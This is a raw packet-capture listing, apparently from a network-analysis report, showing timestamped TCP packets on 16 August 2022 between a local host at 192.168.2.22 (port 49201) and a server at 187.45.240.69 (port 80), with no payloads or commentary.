                                                              Aug 16, 2022 10:33:26.990524054 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.990602970 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.990633011 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.990684032 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.990712881 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.990720987 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.990751982 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.990784883 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.990813971 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.990869045 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991008043 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991039038 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991075039 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991164923 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991195917 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991381884 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991426945 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991429090 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991456032 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991461039 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991485119 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991528034 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991570950 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991614103 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991643906 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991792917 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991823912 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991863966 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991892099 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991894960 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991925001 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.991942883 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991966963 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.991991043 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992007971 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992139101 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992193937 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992213011 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992245913 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992257118 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992285013 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992326975 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992357969 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992453098 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992489100 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992508888 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992539883 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992613077 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992645979 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992703915 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992736101 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992758036 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992789984 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992813110 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992844105 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992902040 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.992933989 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.992980003 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993011951 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993038893 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993212938 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993259907 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993334055 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993367910 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993407011 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993410110 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993438959 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993490934 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993575096 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993609905 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993695021 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993731976 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993805885 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993844986 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993855000 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993886948 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.993899107 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.993932009 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994014978 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994072914 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994091988 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994126081 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994143963 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994174004 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994252920 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994285107 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994328976 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994419098 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994445086 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994453907 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994530916 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994561911 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994652987 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994731903 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994756937 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994798899 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.994852066 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.994883060 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995098114 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995129108 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995131016 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995152950 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995182991 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995197058 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995220900 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995229959 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995254040 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995292902 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995321989 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995414972 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995456934 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995527029 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995558023 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995611906 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995641947 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995650053 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995680094 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995758057 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995786905 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995842934 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995872974 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.995893955 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.995929956 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996016026 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996047974 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996133089 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996170998 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996203899 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996222973 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996253014 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996335030 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996366024 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996371984 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996416092 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996515036 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996542931 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996546984 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996572018 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996615887 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996645927 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996654034 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996687889 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996735096 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996766090 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996809959 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996845961 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996890068 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996920109 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.996932983 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.996968031 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997054100 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997085094 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997131109 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997215986 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997248888 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997251034 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997286081 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997375011 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997406960 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997450113 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997535944 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997570992 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997653961 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997693062 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.997729063 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.997999907 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998030901 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998047113 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998054981 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998092890 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998099089 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998125076 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998130083 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998151064 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998186111 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998251915 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998290062 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998291969 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998328924 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998456001 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998492002 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998577118 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998611927 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998697996 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998730898 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998776913 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998809099 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998852968 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998884916 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998927116 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.998960018 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.998974085 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999011993 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999135971 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999170065 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999171972 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999206066 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999212027 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999244928 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999387026 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999422073 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999452114 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999489069 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999560118 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999593973 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999696970 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999731064 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999773979 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999806881 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:26.999850035 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:26.999882936 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000255108 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000308037 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000364065 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000437975 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000458956 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000494957 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000540018 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000612974 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000650883 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000698090 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000761986 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000780106 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000792980 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.000909090 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.000932932 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001000881 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001180887 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001231909 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001269102 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001295090 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001300097 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001341105 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001440048 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001466990 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001490116 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001502991 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001528025 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001538038 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001564980 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001569986 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001600027 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001604080 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001643896 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001662970 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001679897 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001730919 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001734018 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001737118 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001768112 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001776934 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001797915 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.001800060 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.001832008 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002017975 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002038002 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002053976 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002055883 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002069950 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002074003 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002087116 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002104044 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002340078 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002374887 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002496958 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002530098 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002582073 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002600908 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002614021 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002618074 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002626896 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002641916 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002696991 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002728939 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.002768993 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.002800941 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003099918 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003143072 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003454924 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003479958 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003511906 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003535986 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003567934 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003591061 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003608942 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003624916 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003637075 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003693104 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003725052 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003765106 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003798008 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003855944 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003886938 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003894091 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003922939 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003926039 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003957987 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003959894 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003977060 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.003992081 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.003993988 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004004955 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004019976 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004045963 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004079103 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004177094 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004208088 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004218102 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004249096 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004251957 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004265070 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004281998 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004297018 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004323959 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004357100 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004457951 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004491091 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004518986 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004550934 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004694939 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004729986 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004733086 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004765987 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.004857063 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.004889965 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005024910 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005043030 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005060911 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005073071 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005089045 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005122900 CEST4920180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:27.005130053 CEST8049201187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:27.005167961 CEST4920180192.168.2.22187.45.240.69
